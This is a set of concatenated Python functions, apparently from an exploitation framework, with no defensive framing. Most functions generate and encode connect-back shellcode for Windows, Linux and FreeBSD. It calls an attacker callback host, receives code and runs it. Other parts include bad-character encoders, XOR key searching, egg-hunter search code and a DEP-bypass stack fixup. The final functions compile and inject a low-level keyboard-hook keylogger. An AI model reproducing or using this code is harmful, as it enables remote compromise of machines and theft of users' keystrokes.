def createShellcode(self): host = self.callback.ip port = self.callback.port httpWrapper = '' try: if self.HTTPMOSDEF: print '[!] using HTTP MOSDEF tunneling ..' sc = shellcodeGenerator.win32() sc.addAttr('findeipnoesp', {'subespval': 0x1000}) if self.useSSLMOSDEF: ssl = 's' else: ssl = '' sc.addAttr('httpGetShellcode', {'URL': 'http%s://%s:%d' % (ssl, host, port)}) httpWrapper = sc.get() print '[!] HTTP MOSDEF len: %d bytes' % (len(httpWrapper)) except: httpWrapper = '' rawshellcode = self.createInjectToSelf(host, port, injectme=httpWrapper, movetostack=True) from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(rawshellcode) return self.shellcode
def createShellcode(self): localhost = self.callback.ip localport = self.callback.port from shellcode import shellcodeGenerator sc = shellcodeGenerator.win32() sc.addAttr("revert_to_self_before_importing_ws2_32", None) sc.addAttr("tcpconnect", {"port": localport, "ipaddress": localhost}) sc.addAttr("RecvExecWin32", {"socketreg": "FDSPOT"}) #MOSDEF self.shellcode = sc.get() from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.log("Encoding shellcode") self.shellcode = encoder.encode(self.shellcode) if self.shellcode == "": self.log("Problem encoding shellcode") return 0 self.shellcode = self.tag2 + self.tag1 + self.shellcode from shellcode import win32shell self.searchcode = win32shell.getsearchcode(self.tag1, self.tag2) from encoder import addencoder encoder = addencoder.inteladdencoder() encoder.setbadstring(self.searchbadstring) self.encodedsearchcode = encoder.encode(self.searchcode) if not self.encodedsearchcode: return None self.log( "Length of search shellcode: %d, length of real shellcode: %d\n" % (len(self.searchcode), len(self.shellcode))) return 1
def createShellcode(self): """ create shellcode for the win """ # ret = self.createSmallWin32GOShellcode() from shellcode import shellcodeGenerator sc = shellcodeGenerator.win32() sc.addAttr("tcpconnect", { "port": self.callback.port, "ipaddress": self.callback.ip }) sc.addAttr("RecvExecWin32", {"socketreg": "FDSPOT"}) self.shellcode = sc.get() from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(self.shellcode) # these are just the numbers from makesploit() below offset = 492 size = 12 subesp = 5000 self.easychunk(offset, size, subesp) self.log("Total length of shellcode=%d" % len(self.shellcode)) return self.shellcode
def createShellcode(self, localhost, localport): """ Creates the shellcode that we use """ rawshellcode = win32shell.getshellcode(localhost, localport) self.log("length rawshellcode = " + str(len(rawshellcode))) #set up the shellcode encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(BADSTRING) self.log( "Encoding shellcode with Chunked Additive Encoder. This may take a while. If it takes too long, set minimum chunk size smaller" ) shellcode = encoder.encode(rawshellcode) self.log("Done encoding shellcode of length %d into length %d." % (len(rawshellcode), len(shellcode))) if shellcode == "": self.log("Could not encode shellcode") return 0 #print prettyprint(shellcode[:]) #sys.exit(0) #add a debug int to the front #shellcode="\xcc"+shellcode self.setShellcode(shellcode) return 1
def createShellcode(self): host = self.callback.ip port = self.callback.port self.log('Connect back information: %s:%d' % (host, port)) proxy_payload = '' try: # this stuff is only used when served in HTTP MOSDEF mode if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! import shellcode.standalone.windows.payloads as payloads ssl_dict = {True: 'https', False: 'http'} p = payloads.payloads() sc = p.http_proxy("%s://%s" % \ (ssl_dict[self.useSSL],\ self.callback.ip),\ self.callback.port) proxy_payload = p.assemble(sc) except: proxy_payload = '' rawshellcode = self.createInjectToSelf(host, port,\ injectme=proxy_payload,\ movetostack=True) from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(rawshellcode) return self.shellcode
def createShellcode(self): #localhost=self.callback.ip #localport=self.callback.port sc = shellcodeGenerator.win32() #sc.addAttr("ForkLoad", None) # the to fork code sc.addAttr("findeipnoesp", {"subespval": self.subesp}) #don't mess with eip sc.addAttr("isapiGOFindSock", None) sc.addAttr("ExitThread", None) #set up the shellcode self.shellcode = sc.get() self.log("Size of raw shellcode is %d" % len(self.shellcode)) encoder = chunkedaddencoder.intelchunkedaddencoder() #these are the characters not allowed by the exploit encoder.setbadstring(self.badstring) self.log( "Encoding shellcode. This may take a while if we don't find a good value in the cache." ) shellcode = encoder.encode(self.shellcode) self.log("Done encoding shellcode.") if shellcode == "": self.log("Could not encode shellcode") return 0 #debug int #shellcode="\xcc"+shellcode self.setShellcode(shellcode) self.log("Size of encoded shellcode is %d" % len(self.shellcode)) return 1
def compileTermLogger(self): termVars = {} # this has to be sent from a PID on the active desktop termCode = """ #import "IMPORT_TYPE", "user32.dll|keybd_event" as "keybd_event" #import "IMPORT_TYPE", "kernel32.dll|ExitThread" as "ExitThread" void main() { // simulate the hotkey VK_RSHIFT + VK_F8 keybd_event(0xA1, 0x45, 1, 0); keybd_event(0x77, 0x45, 1, 0); // ups keybd_event(0x77, 0x45, 3, 0); keybd_event(0xA1, 0x45, 3, 0); ExitThread(0); } """ self.node.shell.clearfunctioncache() if self.is_win64: termCode = termCode.replace('IMPORT_TYPE', 'local') else: termCode = termCode.replace('IMPORT_TYPE', 'remote') termLogger = self.node.shell.compile(termCode, termVars) from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring("\"\n\x00") termLogger = encoder.encode(termLogger) return termLogger
def createShellcode(self): host = self.callback.ip port = self.callback.port self.log('Connect back information: %s:%d' % (host, port)) proxy_payload = '' try: # this stuff is only used when served in HTTP MOSDEF mode if hasattr(self, 'HTTPMOSDEF') and self.HTTPMOSDEF == True: # make sure that fromcreatethread is set to 0 in your # httpserver/exploit listenerArgsDict! import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.http_proxy(self.callback.ip, self.callback.port, self.useSSLMOSDEF) proxy_payload = p.assemble(sc) except: proxy_payload = '' rawshellcode = self.createInjectToSelf(host, port,\ injectme=proxy_payload,\ movetostack=True) # simple XOR encoder for space ... # main payload self.shellcode = '' for n in range(0, 256): encoder = xorencoder.simpleXOR(n) encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(rawshellcode) if self.shellcode != '': print "XXX: success with key: %.2X" % n break if self.shellcode == '': print "XXX: could not encode shellcode oh no!" raise Exception, "failed encoder" sc = shellcodeGenerator.win32() sc.addAttr('SearchCodeSafeSEH', {'tag': self.tag}) sc.standalone = 1 # searchcode here, use regular chunked encoder from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.searchcode = encoder.encode(sc.get() + "ABCD") #print repr(self.shellcode) #print "XXX: %d" % len(self.shellcode) return self.shellcode
def get_shellcode(self): raw_shellcode = None if self.mosdef_type == "http": import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() sc = p.http_proxy(self.callback.ip, self.callback.port, SSL=self.ssl) raw_shellcode = p.assemble(sc) else: sc = shellcodeGenerator.win32() sc.addAttr("findeipnoesp",{"subespval": 0x8}) # Your user may not be NT AUTHORITY \ NETWORK SERVICE if this # line is commented out, but one with a lower privilege sc.addAttr("revert_to_self_before_importing_ws2_32", {"win8_compatible":True}) sc.addAttr("tcpconnect", {"port" : self.callback.port, "ipaddress" : self.callback.ip}) mosdef_type = self.engine.getMosdefType(canvasengine.WIN32MOSDEF_INTEL) mosdef_id = self.engine.getNewMosdefID(self) sc.addAttr("send_universal", {"mosdef_type": mosdef_type, "mosdef_id": mosdef_id}) sc.addAttr("RecvExecDepSafe",{'socketreg': 'FDSPOT'}) sc.addAttr("ExitThread",None) raw_shellcode = sc.get() encoder = intelchunkedaddencoder() encoder.setbadstring("".join([chr(x) for x in range(0xd8, 0xe0)] + ["\x00"])) # We ended up clobbering pointers to our old stack frames due # to the fact that we had to maintain control of execution # after the ntdll!LdrpCheckNXCompatibility gadget, which loads # esp into ebp. However, we don't want to simply leave our stack # inside a writable memory range in NTDLL as critical data could # be overwritten. Thus we find the top of the stack in fs:[4], # subtract 4 from it (so that we have a writable stack pointer) # and subsequently use it. fixup_stub = ["xorl %ecx, %ecx", "incl %ecx", "incl %ecx", "incl %ecx", "incl %ecx", "movl %fs:(%ecx), %esp", "decl %esp", "decl %esp", "decl %esp", "decl %esp"] return mosdef.assemble("\n".join(fixup_stub), "X86") + encoder.encode(raw_shellcode)
def createSearchcode(self): sc = shellcodeGenerator.win32() sc.addAttr( 'SearchCodeSafeSEH', { 'tag': self.tag, 'vprotect': self.searchcode_vprotect, 'mod_stack': self.searchcode_mod_stack }) sc.standalone = 1 encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.searchcode = encoder.encode(sc.get()) self.log("Using SearchCodeSafeSEH. Length %d" % len(self.searchcode)) return self.searchcode
def createShellcode(self): #self.shellcode="\xcc"*100 #return sc = shellcodeGenerator.win32() # GOFindSock and RecvExecWin32 are a match made in heaven sc.addAttr("GOFindSock", None) # RecvExec leaves active fd in esi sc.addAttr("RecvExecWin32", None) self.shellcode = sc.get() encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.log("Encoding shellcode") self.shellcode = encoder.encode(self.shellcode) if self.shellcode == "": self.log("Problem encoding shellcode") return 0 return 1
def createShellcode(self): localhost=self.callback.ip localport=self.callback.port from shellcode import shellcodeGenerator sc = shellcodeGenerator.win32() sc.addAttr("revert_to_self_before_importing_ws2_32", None) sc.addAttr("tcpconnect", {"port" : localport, "ipaddress" : localhost}) sc.addAttr("RecvExecWin32",{"socketreg": "FDSPOT"}) #MOSDEF self.shellcode = sc.get() from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.log("Encoding shellcode") self.shellcode = encoder.encode(self.shellcode) if self.shellcode == "": self.log("Problem encoding shellcode") return 0 return 1
def createShellcode(self): localhost = self.callback.ip localport = self.callback.port if self.version == 0: s = shellcodeGenerator.linux_X86() s.addAttr("connect", {"ipaddress": localhost, "port": localport}) s.addAttr("read_and_exec", {"fdreg": "esi"}) shellcode = s.get() encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.shellcode = encoder.encode(shellcode) elif self.version == 1: self.shellcode = self.createFreeBSDCallbackShellcode( localhost, localport) elif self.version == 2 or self.version == 3 or self.version == 4 or self.version == 5: self.shellcode = self.createWin32Shellcode(self.badstring, localhost, localport) return
def encodeshellcode(self, rawshellcode): from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() #encoder= xorencoder.simpleXOR() #key = encoder.find_key(rawshellcode) #encoder.setKey(key) #these are the characters not allowed by the exploit encoder.setbadstring(self.badstring) self.log( "Encoding shellcode. This may take a while if we don't find a good value in the cache." ) shellcode = encoder.encode(rawshellcode) self.log("Done encoding shellcode.") if shellcode == "": self.log("Could not encode shellcode") return 0 #debug int #shellcode="\xcc"+shellcode self.shellcode = shellcode return self.shellcode
def createShellcode(self): sc = shellcodeGenerator.win32() sc.addAttr('findeipnoesp', {'subespval': 0}) sc.addAttr('revert_to_self_before_importing_ws2_32', None) sc.addAttr('tcpconnect', { 'port': self.callback.port, 'ipaddress': self.callback.ip }) sc.addAttr('CreateThreadRecvExecWin32', {'socketreg': 'FDSPOT'}) #MOSDEF sc.addAttr('ExitThread', None) rawshellcode = sc.get() encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring(self.badstring) self.log('Encoding shellcode') shellcode = encoder.encode(rawshellcode) if shellcode == '': self.log('Problem encoding shellcode') raise Exception, 'error encoding shellcode' self.shellcode = shellcode self.log('Total shellcode length=%d' % (len(self.shellcode))) return self.shellcode
def bootstrap(self, node): hookFunction = self.hookProcedure(node) # because MOSDEF is not good at function pointers, I have to node compile the stub # and memcpy the function into memory so I have an actual address for my procedure hookLoggerVars = {} hookLoggerVars["HOOKSIZE"] = len(hookFunction) hookLoggerVars["HOOKFUNCTION"] = hookFunction hookLoggerCode = """ #import "IMPORT_TYPE", "kernel32.dll|GetModuleHandleA" as "GetModuleHandleA" #import "IMPORT_TYPE", "user32.dll|SetWindowsHookExA" as "SetWindowsHookExA" #import "IMPORT_TYPE", "user32.dll|UnhookWindowsHookEx" as "UnhookWindowsHookEx" #import "IMPORT_TYPE", "kernel32.dll|VirtualAlloc" as "VirtualAlloc" #import "IMPORT_TYPE", "user32.dll|RegisterHotKey" as "RegisterHotKey" #import "IMPORT_TYPE", "user32.dll|GetMessageA" as "GetMessageA" #import "IMPORT_TYPE", "kernel32.dll|ExitThread" as "ExitThread" #import "local", "debug" as "debug" #import "local", "memcpy" as "memcpy" #import "local", "sendint" as "sendint" #import "string", "HOOKFUNCTION" as "HOOKFUNCTION" #import "int", "HOOKSIZE" as "HOOKSIZE" struct POINT { int x; int y; }; struct MSG { int hwnd; int message; char *wParam; char *lParam; int time; struct POINT pt; }; void messageHandler(int tMsg) { // example from MSDN int bRet; int mRet; struct MSG msg; // we're only interested in tMsg, so set range accordingly // PM_NOREMOVE == 0x0000 PM_REMOVE == 0x0001 for peekmessage while(bRet = GetMessageA(&msg, 0, 0, 0)) { return; } } void main() { char *KeyEvent; HANDLE_TYPE hHook; HANDLE_TYPE hModule; struct MSG msg; int tMSG; // exit control via hotkey RegisterHotKey(0, 0xdeadbabe, 0x04, 0x77); // RIGHT SHIFT + F8 // get an address for our function because MOSDEF // doesn't do function pointers correctly yet KeyEvent = VirtualAlloc(0, HOOKSIZE, 0x1000, 0x40); memcpy(KeyEvent, HOOKFUNCTION, HOOKSIZE); // handle to module hModule = GetModuleHandleA(0); // install the hook (WH_KEYBOARD_LL == 13) hHook = SetWindowsHookExA(13, KeyEvent, hModule, 0); messageHandler(tMsg); UnhookWindowsHookEx(hHook); ExitThread(0); } """ # node compile and return the logger node.shell.clearfunctioncache() if self.is_win64: hookLoggerCode = hookLoggerCode.replace('IMPORT_TYPE', 'local') hookLoggerCode = hookLoggerCode.replace('HANDLE_TYPE', 'unsigned long long') else: hookLoggerCode = hookLoggerCode.replace('IMPORT_TYPE', 'remote') hookLoggerCode = hookLoggerCode.replace('HANDLE_TYPE', 'unsigned int') request = node.shell.compile(hookLoggerCode, hookLoggerVars) encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring("\"\n\x00") hookLogger = encoder.encode(request) return hookLogger
def compileHookLogger(self): hookFunction = self.hookProcedure() # because MOSDEF is not good at function pointers, I have to node compile the stub # and memcpy the function into memory so I have an actual address for my procedure hookLoggerVars = {} hookLoggerVars["HOOKSIZE"] = len(hookFunction) hookLoggerVars["HOOKFUNCTION"] = hookFunction hookLoggerCode = """ #import "IMPORT_TYPE", "kernel32.dll|GetModuleHandleA" as "GetModuleHandleA" #import "IMPORT_TYPE", "kernel32.dll|ExitThread" as "ExitThread" #import "IMPORT_TYPE", "user32.dll|SetWindowsHookExA" as "SetWindowsHookExA" #import "IMPORT_TYPE", "user32.dll|UnhookWindowsHookEx" as "UnhookWindowsHookEx" #import "IMPORT_TYPE", "user32.dll|GetMessageA" as "GetMessageA" #import "IMPORT_TYPE", "user32.dll|TranslateMessage" as "TranslateMessageA" #import "IMPORT_TYPE", "user32.dll|DispatchMessageA" as "DispatchMessageA" #import "IMPORT_TYPE", "user32.dll|RegisterHotKey" as "RegisterHotKey" #import "IMPORT_TYPE", "kernel32.dll|CreateMutexA" as "CreateMutexA" #import "IMPORT_TYPE", "kernel32.dll|OpenMutexA" as "OpenMutexA" #import "IMPORT_TYPE", "kernel32.dll|ReleaseMutex" as "ReleaseMutex" #import "IMPORT_TYPE", "kernel32.dll|GetLastError" as "GetLastError" #import "IMPORT_TYPE", "kernel32.dll|WaitForSingleObject" as "WaitForSingleObject" #import "IMPORT_TYPE", "kernel32.dll|VirtualAlloc" as "VirtualAlloc" #import "local", "debug" as "debug" #import "local", "memcpy" as "memcpy" #import "string", "HOOKFUNCTION" as "HOOKFUNCTION" #import "int", "HOOKSIZE" as "HOOKSIZE" struct POINT { int x; int y; }; struct MSG { int hwnd; int message; char *wParam; char *lParam; int time; struct POINT pt; }; void messageHandler(int tMsg) { // example from MSDN int bRet; int mRet; struct MSG msg; // we're only interested in tMsg, so set range accordingly // PM_NOREMOVE == 0x0000 PM_REMOVE == 0x0001 for peekmessage while(bRet = GetMessageA(&msg, 0, 0, 0)) { return; } } void main() { char *KeyEvent; HANDLE_TYPE hHook; HANDLE_TYPE hModule; int lError; int tMsg; // msg identifier that halts logger int hMtx; // exit control via hotkey (mutex semantics seem not very spiffy on thread exit) RegisterHotKey(0, 0xdeadbabe, 0x04, 0x77); // RIGHT SHIFT + F8 // get an address for our function because MOSDEF // doesn't do function pointers correctly yet KeyEvent = VirtualAlloc(0, HOOKSIZE, 0x1000, 0x40); memcpy(KeyEvent, HOOKFUNCTION, HOOKSIZE); // handle to module hModule = GetModuleHandleA(0); // install the hook (WH_KEYBOARD_LL == 13) hHook = SetWindowsHookExA(13, KeyEvent, hModule, 0); // fall back on our message handling the mutex isn't there messageHandler(tMsg); // unhook UnhookWindowsHookEx(hHook); // this is running as a detached thread, so no sendint ExitThread(0); } """ # node compile and return the logger self.node.shell.clearfunctioncache() if self.is_win64: hookLoggerCode = hookLoggerCode.replace('IMPORT_TYPE', 'local') hookLoggerCode = hookLoggerCode.replace('HANDLE_TYPE', 'unsigned long long') else: hookLoggerCode = hookLoggerCode.replace('IMPORT_TYPE', 'remote') hookLoggerCode = hookLoggerCode.replace('HANDLE_TYPE', 'unsigned int') hookLogger = self.node.shell.compile(hookLoggerCode, hookLoggerVars) # XXX: we have to encode this untill we switch to a functionpointer version from encoder import chunkedaddencoder encoder = chunkedaddencoder.intelchunkedaddencoder() encoder.setbadstring("\"\n\x00") hookLogger = encoder.encode(hookLogger) return hookLogger